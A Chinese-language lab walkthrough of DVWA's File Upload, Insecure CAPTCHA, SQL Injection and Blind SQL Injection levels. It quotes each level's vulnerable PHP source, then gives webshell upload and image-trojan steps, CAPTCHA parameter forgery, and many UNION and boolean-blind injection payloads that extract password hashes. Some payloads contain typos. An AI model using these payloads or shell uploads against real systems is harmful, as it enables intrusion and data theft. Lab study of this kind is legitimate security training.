if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
上传一个一句话,显示上传成功!
使用蚁剑来连接获得webshell(右键添加数据,连接密码是指 1.php 里 通过POST提交的 数据 即 123,编码器一般选择 chr ,点击 添加 然后 右键 添加的项目,文件管理)
试着去新建个文件试试 test.txt
在服务器检测
medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
//文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
先把1.php的格式改为1.png上传
用bp抓包后改为php
点击forward
链接蚁剑
high
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
// strtoLower把所有字符转换为小写
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
if( ( strtoLower( $uploaded_ext ) == "jpg" || strtoLower( $uploaded_ext ) == "jpeg" || strtoLower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
这里貌似可以用00截断的方式
这里引进图片马
制作图片马
画个画命名为1.jpg
将1.php(一句话木马)与正常图片合并
copy 1.jpg/b+1.php/a 1.jpg
b表示二进制文件
a表示ASCII码文件
查看生成的1.jpg
成功上传
使用蚁剑
impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
//上传文件的文件前缀md5加密
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
//in_get(varname)
函数返回相应选项的值
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtoLower( $uploaded_ext ) == 'jpg' || strtoLower( $uploaded_ext ) == 'jpeg' || strtoLower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
//imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识,失败返回false
$img = imagecreatefromjpeg( $uploaded_tmp );
//imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从0(最差质量,文件更小)到100(最佳质量,文件最大)。
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
// imagedestroy( img )
函数销毁图像资源
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
Insecure CAPTCHA不安全的验证码/不安全的验证流程
CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。要是验证流程出现了逻辑漏洞.
DVWA中主要是输入当前的密码以及新密码,用来修改密码
需要配置
这关开始前我们可能遇到不能正常显示的情况,需要在配置文件中加入谷歌的密钥:
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
配置完成
Low
<?php
//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
//隐藏验证码表单
$hide_form = true;
// Get input
//得到用户的新密码及确认新密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
//使用第三方进行身份验证
//recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
//验证失败时
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这个主要分为两个阶段
第一阶段:验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码
第二阶段:如果如果两次输入的密码一致,就进行修改;那么如果能绕过第一阶段,是不是只要两次密码输入一致就能修改了?
抓包
修改step参数,改为第二阶段将1改为2,并点击forward
修改成功
medium
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
// 对参数passed_captcha进行验证,如果通过身份验证,该参数就为true
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
与Low相比,增加了第一阶段的判断,设置一个标志位passed_capt,如果身份验证通过了,就设置为true
抓包看一下,好像没有提交该参数啊
那么我们就主动添加一个参数passed_captcha
step=2&password_new=111&password_conf=111&Change=Change&passed_captcha=true
点击forward
high
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
//(通过身份验证条件)或者 (参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC)就算是验证通过了
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,验证过程已经不分步走了,都合在一个阶段里面了
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
抓包
改变两个参数
g-recaptcha-response=hidd3n_valu3
http包头的
User-Agent:reCAPTCHA
impossible
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
需要输入以前的密码
SQL InjectionSQL注入
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
DVWA中主要根据用户ID查询用户信息
SQL注入流程
拿到一个查询条件的web网页,就需要对输入框做以下的事情
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
Low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
//获取ID字段
$id = $_REQUEST[ 'id' ];
// Check database
//拼接SQL语句并查询
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
1.判断是否存在注入,注入是字符型还是数字型
代码中看到 '$id'变量,说明是字符串类型,下面进行判断
输入1
输入2
输入1+2
没有进行运算,是字符型。
开始SQL测试,输入 'or 1 = 1 or' // 假or真or假 可以看到用户都爆出来了。
再来判断字段的长度 1' order by 1# // 显示正常
在测试 1' order by 2# // 也显示正常
再测试一下 1' order by 3# 3报错了,说明只有两个字段!
只有两个字段,我们可以来构造联合查询了,目的是为了查看回显的字段 。
输入:1' union select 1,2# // 我们看到了结果显示都可以回显。
查看到都可以回显,我们就开始找当前,用户数据库的名字,
输入:1' union select user(),database()#
// 结果已经显示出来了 可以看到,用户:root@localhost 数据库:dvwa
我们现在就可以,从dvwa看看他都有哪些表。
输入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
// 看到dvwa这个数据库里有guestbook和users两个表,存放账号和密码的放在users表。
查看user表里的列里面的数据。
输入:1' union select 1,column_name from information_schema.columns wheretable_name='user'#
// users的列已经爆出来了,接下来我们就是开始看password列里面的数据了。
输入:1' union select user,password from users#
可以看到密码已经爆出来了。
medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//user中x00,n,r,,’,”,x1a转义,防SQL注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
打开输入1
bp抓包
输入1 or 1 = 1
数字型漏洞
输入1 order by 1
输入1 order by 2
输入1 order by 3
显示错误
数据库字段数为2
查询数据库
输入1 union select version(),database()#
数据库版本为5.7.26
数据库名字为dvwa
1 union select 1,2 #
查询数据库的表
输入1 union select 1,table_name from information_schema.tables where table_schema=(select database()) #
查询表users中的字段
输入
1 union select 1,group_concat(column_name) from information_schema.columns where
table_name=0x7573657273
查找数据
1 union select group_concat(user),group_concat(password)from users #
high
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
//【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
输入,都不用抓包
1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
PDO预处理
SQL Injection (Blind)盲注
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
SQL盲注流程
拿到一个查询条件的web网页,就需要对输入框做以下的事情
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
Low
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the database
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
一.判断是否存在注入,注入的类型
1.输入1
2.输入'
3.输入1 and 1=1#
4.输入1 and 1=2#
5.输入1' and 1=1#
6.输入1' and 1=2#
由5和6构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注漏洞
二猜解当前数据库名称
数据库名称的属性:字符长度,字符组成的元素(字母/数字/下划线/...)&元素的位置(首位/第2位/.../末位)
1.判断数据库名称的长度(二分法思维)
输入1' and length(database())>10 #
输入1' and length(database())>5 #
输入1' and length(database())>3 #
输入1' and length(database())=4 #
当前所连接数据库名称的长度=4
2.判断数据库名称的字符组成元素
此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCLL码,与对应的ASCLL码值比较大小,找到比值相同时的字符,然后各个击破。
输入1' and ascii(substr(database(),1,1))>88 #
输入1' and ascii(substr(database(),1,1))>105 #
输入1' and ascii(substr(database(),1,1))>96 #
输入1' and ascii(substr(database(),1,1))>100 #
输入1' and ascii(substr(database(),1,1))>98 #
输入1' and ascii(substr(database(),1,1))=99 #
输入1' and ascii(substr(database(),1,1))=100 #
数据库名称的首位字符对应的ASCLL码为100,查询是d
类似以上操作,分别猜解第2/3/4位元素的字符:
输入1' and ascii(substr(database(),2,1))>88 #
第二位字符为v
输入1' and ascii(substr(database(),3,1))>88 #
第三位字符为w
输入1' and ascii(substr(database(),4,1))>88 #
第三位字符为a
从而获得到当前连接数据库的名称为:dvwa
3.猜解数据库中的表名
数据表属性:指定数据库下表的个数,每个表的名称(表名长度,表名组成长度)
1.猜解表的个数
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>10 #
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>5 #
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>2 #
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())=2 #
dvwa数据库中表的个数=2
2.猜解表名
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
dvwa数据库中第1个表的名称字符长度=9
3.表名称的字符组成
依次取出dvwa数据库第1个表的第1/2/.../9个字符分别猜解
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
dvwa数据库中第1个表的第一个字符的ASCLL码=103,对应的字符为g
依次猜解出其他位置的字符分别为:u,e,s,t,b,o,o,k
从而dvwa数据库第1个表的名称为guestbook
以
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #
...
猜解出dvwa数据库第2个表的名称为:users
4.猜解表中的字段名
表中的字段名属性:表中的字段数目,某个字段名的字符长度,字段的字符组成及位置,某个字段名全名匹配
1.猜解users表中的字段数目
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>10 #
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>5 #
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>8 #
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')=8#
dvwa库的users表中有8个字段
2.猜解users表中的各个字段的名称
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='username')=1 #
